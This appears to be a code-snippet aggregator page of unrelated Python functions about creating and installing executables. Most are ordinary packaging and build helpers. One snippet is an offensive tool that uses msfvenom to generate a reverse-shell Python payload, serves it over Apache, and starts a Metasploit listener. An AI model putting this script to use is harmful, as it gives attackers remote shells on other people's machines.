Every line of 'how to create exe file in python' code snippets is scanned for vulnerabilities by our powerful machine learning engine that combs millions of open source libraries, ensuring your Python code is secure.
851 def install_exe(self, dist_filename, tmpdir): 852 # See if it's valid, get data 853 cfg = extract_wininst_cfg(dist_filename) 854 if cfg is None: 855 raise DistutilsError( 856 "%s is not a valid distutils Windows .exe" % dist_filename 857 ) 858 # Create a dummy distribution object until we build the real distro 859 dist = Distribution( 860 None, 861 project_name=cfg.get('metadata','name'), 862 version=cfg.get('metadata','version'), platform=get_platform(), 863 ) 864 865 # Convert the .exe to an unpacked egg 866 egg_path = dist.location = os.path.join(tmpdir, dist.egg_name()+'.egg') 867 egg_tmp = egg_path + '.tmp' 868 _egg_info = os.path.join(egg_tmp, 'EGG-INFO') 869 pkg_inf = os.path.join(_egg_info, 'PKG-INFO') 870 ensure_directory(pkg_inf) # make sure EGG-INFO dir exists 871 dist._provider = PathMetadata(egg_tmp, _egg_info) # XXX 872 self.exe_to_egg(dist_filename, egg_tmp) 873 874 # Write EGG-INFO/PKG-INFO 875 if not os.path.exists(pkg_inf): 876 f = open(pkg_inf,'w') 877 f.write('Metadata-Version: 1.0\n') 878 for k,v in cfg.items('metadata'): 879 if k != 'target_version': 880 f.write('%s: %s\n' % (k.replace('_','-').title(), v)) 881 f.close() 882 script_dir = os.path.join(_egg_info,'scripts') 883 self.delete_blockers( # delete entry-point scripts to avoid duping 884 [os.path.join(script_dir,args[0]) for args in get_script_args(dist)] 885 ) 886 # Build .egg file from tmpdir 887 bdist_egg.make_zipfile( 888 egg_path, egg_tmp, verbose=self.verbose, dry_run=self.dry_run 889 ) 890 # install the .egg 891 return self.install_egg(egg_path, tmpdir)
10 def exe(): 11 return (os.environ.get('BUP_MAIN_EXE') or 12 os.path.join(startdir, sys.argv[0]))
241 def make_exe(fn): 242 if hasattr(os, 'chmod'): 243 oldmode = os.stat(fn).st_mode & 07777 244 newmode = (oldmode | 0555) & 07777 245 os.chmod(fn, newmode) 246 logger.info('Changed mode of %s to %s', fn, oct(newmode))
89 def exec_script(script_filename, env={}, *args): 90 """ 91 Executes a Python script in an externally spawned interpreter, and 92 returns anything that was emitted in the standard output as a 93 single string. 94 95 To prevent missuse, the script passed to hookutils.exec_script 96 must be located in the `PyInstaller/utils/hooks/subproc` directory. 97 """ 98 script_filename = os.path.basename(script_filename) 99 script_filename = os.path.join(os.path.dirname(__file__), 'subproc', script_filename) 100 if not os.path.exists(script_filename): 101 raise SystemError("To prevent missuse, the script passed to " 102 "hookutils.exec-script must be located in " 103 "the `PyInstaller/utils/hooks/subproc` directory.") 104 105 cmd = [script_filename] 106 cmd.extend(args) 107 return __exec_python_cmd(cmd, env=env)
293 def python(): 294 lhost = raw_input("Enter LHOST: ") 295 lport = raw_input("Enter LPORT: ") 296 name = raw_input("Enter Payload Name: ") 297 os.system("msfvenom -p cmd/unix/reverse_python LHOST=%s LPORT=%s -f raw > /sdcard/EasY_HaCk/%s.py"%(lhost,lport,name)) 298 clear() 299 print "Payload Successfuly Generated" 300 print "[1]-Do You Want To Start a listenner" 301 print "[2]-Do You Want To Start an IP Poisener " 302 li = raw_input() 303 if li == '2' : 304 os.system('rm $PREFIX/var/run/apache2/httpd.pid') 305 os.system('apachectl start') 306 os.system('cp /sdcard/EasY_HaCk/%s.py $PREFIX/share/apache2/default-site/htdocs/zaki/'%(name)) 307 os.system('clear') 308 print "Your IP Successfully Poisened :\033[0m http://%s:8080/zaki/%s.py"%(lhost,name) 309 listen = """ 310 use exploit/multi/handler 311 set PAYLOAD cmd/unix/reverse_python 312 set LHOST {0} 313 set LPORT {1} 314 exploit 315 """.format(lhost,lport) 316 with open('listener.rc', 'w') as f : 317 f.write(listen) 318 os.system('msfconsole -r listener.rc') 319 320 else : 321 listen = """ 322 use exploit/multi/handler 323 set PAYLOAD cmd/unix/reverse_python 324 set LHOST {0} 325 set LPORT {1} 326 exploit 327 """.format(lhost,lport) 328 with open('listener.rc', 'w') as f : 329 f.write(listen) 330 os.system('msfconsole -r listener.rc')
296 def _get_default_install_location(exe_name): 297 system = platform.system() 298 if system == 'Windows': 299 home_dir = os.environ.get('USERPROFILE') 300 if not home_dir: 301 return None 302 install_location = os.path.join(home_dir, r'.azure-{0}\{0}.exe'.format(exe_name)) 303 elif system in ('Linux', 'Darwin'): 304 install_location = '/usr/local/bin/{}'.format(exe_name) 305 else: 306 install_location = None 307 return install_location
18 def python_switcher(python_exec: str, python_file: str, args: list): 19 ''' 20 Switch to the right python 21 ''' 22 if not os.getpid() - os.getppid() == 1: 23 subprocess.call(['%s %s %s' % (python_exec, python_file, ' '.join(args))], shell=True) 24 else: 25 sys.exit(1)
84 def create_script(script, name): 85 """Create script as temp file to be run on Stoomboot""" 86 87 script_name = 'his_{name}.sh'.format(name=name) 88 script_path = os.path.join('/tmp', script_name) 89 90 with open(script_path, 'w') as script_file: 91 script_file.write(script) 92 os.chmod(script_path, 0o774) 93 94 return script_path, script_name
7 def create_exe(self, arcname, fullname, bitmap=None): 8 _bdist_wininst.create_exe(self, arcname, fullname, bitmap) 9 installer_name = self.get_installer_filename(fullname) 10 if self.target_version: 11 pyversion = self.target_version 12 # fix 2.5+ bdist_wininst ignoring --target-version spec 13 self._bad_upload = ('bdist_wininst', 'any', installer_name) 14 else: 15 pyversion = 'any' 16 self._good_upload = ('bdist_wininst', pyversion, installer_name)
322 def make_script(target,source,env): 323 324 s = source[0].abspath 325 d = target[0].abspath 326 327 etc = env.subst('$ETCINSTALLDIR') 328 f=open(d,'w') 329 f.write('#!/bin/sh\n') 330 f.write('export PI_PREFIX=%s\n' % env.subst('$INSTALLDIR')) 331 f.write('export PI_ROOT=%s\n' % env.subst('$INSTALLROOTDIR')) 332 f.write('export PI_RELEASE=%s\n' % env.subst('$PI_RELEASE')) 333 f.write('export PI_LIBPATH=%s\n' % env.subst('$LIBPATH')) 334 f.write('export USER=`basename $HOME`\n') 335 f.write('for script in %s/postflight-*\n' % (etc)) 336 f.write('do\n') 337 f.write(' if test -x "$script"; then sh -c "$script"; fi\n') 338 f.write('done\n') 339 f.write('exit 0\n') 340 f.close() 341 os.chmod(d,0755)